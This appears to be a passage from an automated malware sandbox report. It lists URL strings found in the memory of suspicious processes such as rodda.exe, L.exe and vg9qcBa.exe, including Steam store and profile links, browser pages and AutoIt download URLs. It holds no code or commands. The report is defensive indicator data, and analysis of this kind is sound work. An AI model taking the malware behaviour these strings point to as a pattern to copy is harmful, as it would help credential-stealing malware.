Source: L.exe, 0000000E.00000003.14298811335.000000000128F000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298811335.0000000001296000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14326036374.000000000128F000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14622999980.000000000127E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steam.tv/
Source: L.exe, 0000000E.00000003.14298811335.000000000128F000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298811335.0000000001296000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14326036374.000000000128F000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14622999980.000000000127E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast-test.akamaized.net
Source: L.exe, 0000000E.00000003.14298811335.000000000128F000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298811335.0000000001296000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14326036374.000000000128F000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14622999980.000000000127E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast.akamaized.net
Source: L.exe, 0000000E.00000003.14298811335.000000000128F000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298811335.0000000001296000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14326036374.000000000128F000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14622999980.000000000127E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcastchat.akamaized.net
Source: L.exe, 0000000E.00000003.14298426149.00000000012D8000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14622999980.000000000127E000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298586301.000000000126A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/
Source: rodda.exe, 0000000C.00000003.14278138507.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/&
Source: rodda.exe, rodda.exe, 0000000C.00000003.14278138507.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14543249992.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000002.14661617200.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14580311185.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14277992421.0000000006497000.00000004.00000800.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14631475291.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14509974020.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298426149.00000000012D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: rodda.exe, rodda.exe, 0000000C.00000003.14278138507.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14543249992.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000002.14661617200.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14580311185.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14277992421.0000000006497000.00000004.00000800.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14631475291.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14509974020.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298426149.00000000012D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/discussions/
Source: rodda.exe, 0000000C.00000003.14277992421.0000000006497000.00000004.00000800.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14277992421.0000000006491000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298426149.00000000012D0000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14325551582.000000000127E000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298586301.000000000127E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: L.exe, 0000000E.00000003.14298426149.00000000012D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199724331900
Source: rodda.exe, rodda.exe, 0000000C.00000003.14278138507.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14543249992.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000002.14661617200.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14580311185.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14277992421.0000000006497000.00000004.00000800.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14631475291.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14509974020.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298426149.00000000012D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/market/
Source: rodda.exe, 0000000C.00000003.14278138507.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14543249992.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000002.14661617200.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14580311185.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14277992421.0000000006497000.00000004.00000800.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14631475291.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14509974020.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298426149.00000000012D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: L.exe, 0000000E.00000003.14298426149.00000000012D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/p
Source: L.exe, 0000000E.00000003.14298586301.000000000124D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900
Source: rodda.exe, 0000000C.00000003.14278138507.0000000001A7D000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14277992421.0000000006497000.00000004.00000800.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14277992421.0000000006491000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298483583.0000000001280000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298426149.00000000012D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/badges
Source: rodda.exe, 0000000C.00000003.14277992421.0000000006497000.00000004.00000800.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14277992421.0000000006491000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298426149.00000000012D0000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14325551582.000000000127E000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298586301.000000000127E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/inventory/
Source: rodda.exe, rodda.exe, 0000000C.00000003.14278138507.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14543249992.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000002.14661617200.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14580311185.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14277992421.0000000006497000.00000004.00000800.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14631475291.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14509974020.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298426149.00000000012D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/workshop/
Source: L.exe, 0000000E.00000003.14622999980.000000000127E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/
Source: rodda.exe, rodda.exe, 0000000C.00000003.14278138507.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14543249992.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000002.14661617200.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14580311185.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14631475291.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14509974020.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14325350769.0000000001281000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298483583.0000000001280000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298811335.000000000128F000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298811335.0000000001296000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14326036374.000000000128F000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14622999980.000000000127E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;
Source: L.exe, 0000000E.00000003.14298483583.0000000001280000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298811335.000000000128F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7Caee1fb81cfe7b52
Source: L.exe, 0000000E.00000003.14298426149.00000000012D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/about/
Source: rodda.exe, 0000000C.00000003.14278138507.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14543249992.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000002.14661617200.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14580311185.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14277992421.0000000006497000.00000004.00000800.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14631475291.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14509974020.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298426149.00000000012D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/explore/
Source: rodda.exe, 0000000C.00000003.14277992421.0000000006497000.00000004.00000800.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14277992421.0000000006491000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298426149.00000000012D0000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14325551582.000000000127E000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298586301.000000000127E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/legal/
Source: rodda.exe, 0000000C.00000003.14278138507.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14543249992.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000002.14661617200.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14580311185.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14277992421.0000000006497000.00000004.00000800.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14631475291.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14509974020.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298426149.00000000012D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/mobile
Source: rodda.exe, 0000000C.00000003.14278138507.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14277992421.0000000006497000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298426149.00000000012D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/news/
Source: rodda.exe, 0000000C.00000003.14277992421.0000000006497000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298426149.00000000012D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/points/shop/
Source: rodda.exe, 0000000C.00000003.14278138507.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14277992421.0000000006497000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298426149.00000000012D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/privacy_agreement/
Source: rodda.exe, 0000000C.00000003.14278138507.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14277992421.0000000006497000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298426149.00000000012D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/stats/
Source: rodda.exe, 0000000C.00000003.14278138507.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14277992421.0000000006497000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298426149.00000000012D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/steam_refunds/
Source: rodda.exe, 0000000C.00000003.14278138507.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14277992421.0000000006497000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298426149.00000000012D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: rodda.exe, 0000000C.00000003.14435131152.0000000006523000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14660060615.0000000005B77000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14474612909.00000000038DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stubdownloader.services.mozilla.com/?attribution_code=c291cmNlPXd3dy5nb29nbGUuY29tJm1lZGl1bT
Source: rodda.exe, 0000000C.00000003.14436725330.00000000064A8000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14511590204.00000000009D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_flash
Source: vg9qcBa.exe, 00000027.00000003.14511590204.00000000009D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_flash(
Source: rodda.exe, 0000000C.00000003.14436725330.00000000064A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_flashs
Source: rodda.exe, 0000000C.00000003.14512695628.0000000006997000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14738182154.0000000005FB3000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14555137876.0000000003AF3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/en-GB/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=fire
Source: rodda.exe, 0000000C.00000003.14512695628.0000000006997000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14738182154.0000000005FB3000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14555137876.0000000003AF3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/en-GB/products/firefoxgro.allizom.troppus.
Source: rodda.exe, 0000000C.00000003.14474525560.000000000678C000.00000004.00000800.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14436086508.0000000006782000.00000004.00000800.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14473867178.0000000006500000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14700073351.0000000005DCC000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14663533397.0000000005DA2000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14699488422.0000000005B6D000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14471723604.000000000373B000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14513679312.0000000003716000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14513221519.00000000038D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://uk.search.yahoo.com/favicon.icohttps://uk.search.yahoo.com/search
Source: rodda.exe, 0000000C.00000003.14474525560.000000000678C000.00000004.00000800.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14436086508.0000000006782000.00000004.00000800.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14473867178.0000000006500000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14700073351.0000000005DCC000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14663533397.0000000005DA2000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14699488422.0000000005B6D000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14471723604.000000000373B000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14513679312.0000000003716000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14513221519.00000000038D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://uk.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: svchost.exe, 00000012.00000002.17165414033.0000027A3FE54000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.17164339406.0000027A3FE50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ve.com/p
Source: Reynolds.com, 00000020.00000003.14387693803.0000027C3611A000.00000004.00000001.00020000.00000000.sdmp, Selection.com, 00000032.00000003.15563644837.0000000001844000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.autoitscript.com/autoit3/
Source: rodda.exe, 0000000C.00000003.14435131152.0000000006523000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14660060615.0000000005B77000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14474612909.00000000038DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.autoitscript.com/cgi-bin/getfile.pl?autoit3/autoit-v3-setup.exe
Source: rodda.exe, 0000000C.00000003.14435131152.0000000006523000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14660060615.0000000005B77000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14474612909.00000000038DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.autoitscript.com/files/autoit3/autoit-v3-setup.exeQ
Source: rodda.exe, 0000000C.00000003.14435131152.0000000006523000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14660060615.0000000005B77000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14474612909.00000000038DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.autoitscript.com/site/autoit/downloads/https://www.autoitscript.com/site/autoit/download
Source: rodda.exe, 0000000C.00000003.14508166750.000000000677E000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14737308340.0000000005B76000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14554274485.00000000038DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.digicert.com/CPS0
Source: rodda.exe, 0000000C.00000003.14436086508.0000000006782000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14663533397.0000000005DA2000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14471723604.000000000373B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: rodda.exe, 0000000C.00000003.14435131152.000000000652E000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14662194345.0000000005B82000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14474612909.00000000038ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.eicar.org/download-anti-malware-testfile/:
Source: rodda.exe, 0000000C.00000003.14435131152.0000000006516000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14660812805.0000000005B6A000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14474612909.00000000038D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.eicar.org/download-anti-malware-testfile/Download
Source: rodda.exe, 0000000C.00000003.14435131152.0000000006523000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14660060615.0000000005B77000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14474612909.00000000038DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.eicar.org/https://eicar.org/https://www.eicar.org/download-anti-malware-testfile/https:/
Source: Selection.com, 00000032.00000003.15563644837.0000000001844000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.globalsign.com/repository/0
Source: Reynolds.com, 00000020.00000003.14387693803.0000027C3611A000.00000004.00000001.00020000.00000000.sdmp, Selection.com, 00000032.00000003.15563644837.0000000001844000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.globalsign.com/repository/06
Source: rodda.exe, 0000000C.00000003.14435027499.0000000006778000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14659798280.0000000005D98000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14474230284.000000000372E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.c(om/
Source: L.exe, 0000000E.00000003.14298811335.000000000128F000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298811335.0000000001296000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14326036374.000000000128F000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14622999980.000000000127E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: rodda.exe, 0000000C.00000003.14435131152.0000000006523000.00000004.00000800.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14435131152.000000000652E000.00000004.00000800.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14435131152.0000000006516000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14660060615.0000000005B77000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14662194345.0000000005B82000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14660812805.0000000005B6A000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14474612909.00000000038DE000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14474612909.00000000038D2000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14474612909.00000000038ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/?&brand=CHWL&utm_campaign=en&utm_source=en-et-na-us-chrome-bubble&utm_
Source: vg9qcBa.exe, 00000027.00000003.14474612909.00000000038D2000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14474612909.00000000038ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/next-steps.html?brand=CHWL&statcb=0&installdataindex=empty&defaultbrow
Source: rodda.exe, 0000000C.00000003.14435131152.0000000006523000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14660060615.0000000005B77000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14474612909.00000000038DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/https://www.google.com/chrome/?&brand=CHWL&utm_campaign=en&utm_source=en-et-n
Source: rodda.exe, 0000000C.00000003.14436086508.0000000006782000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14663533397.0000000005DA2000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14471723604.000000000373B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_alldp.ico
Source: rodda.exe, 0000000C.00000003.14474525560.000000000678C000.00000004.00000800.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14473867178.0000000006500000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14700073351.0000000005DCC000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14699488422.0000000005B6D000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14513679312.0000000003716000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14513221519.00000000038D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: L.exe, 0000000E.00000003.14622999980.000000000127E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/
Source: vg9qcBa.exe, 00000027.00000003.14474612909.00000000038D2000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14474612909.00000000038ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?q=eicar
Source: L.exe, 0000000E.00000003.14298811335.000000000128F000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298811335.0000000001296000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14326036374.000000000128F000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14622999980.000000000127E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.cn/recaptcha/
Source: L.exe, 0000000E.00000003.14298811335.000000000128F000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298811335.0000000001296000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14326036374.000000000128F000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14622999980.000000000127E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptcha/
Source: rodda.exe, 0000000C.00000003.14512695628.0000000006997000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14738182154.0000000005FB3000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14555137876.0000000003AF3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-GB/about/gro.allizom.www.
Source: rodda.exe, 0000000C.00000003.14512695628.0000000006997000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14738182154.0000000005FB3000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14555137876.0000000003AF3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-GB/contribute/gro.allizom.www.
Source: rodda.exe, 0000000C.00000003.14435131152.0000000006523000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14660060615.0000000005B77000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14474612909.00000000038DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-GB/firefox/all/#product-desktop-release
Source: rodda.exe, 0000000C.00000003.14435131152.0000000006523000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14660060615.0000000005B77000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14474612909.00000000038DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-GB/firefox/all/#product-desktop-releasehttps://www.mozilla.org/en-GB/fire
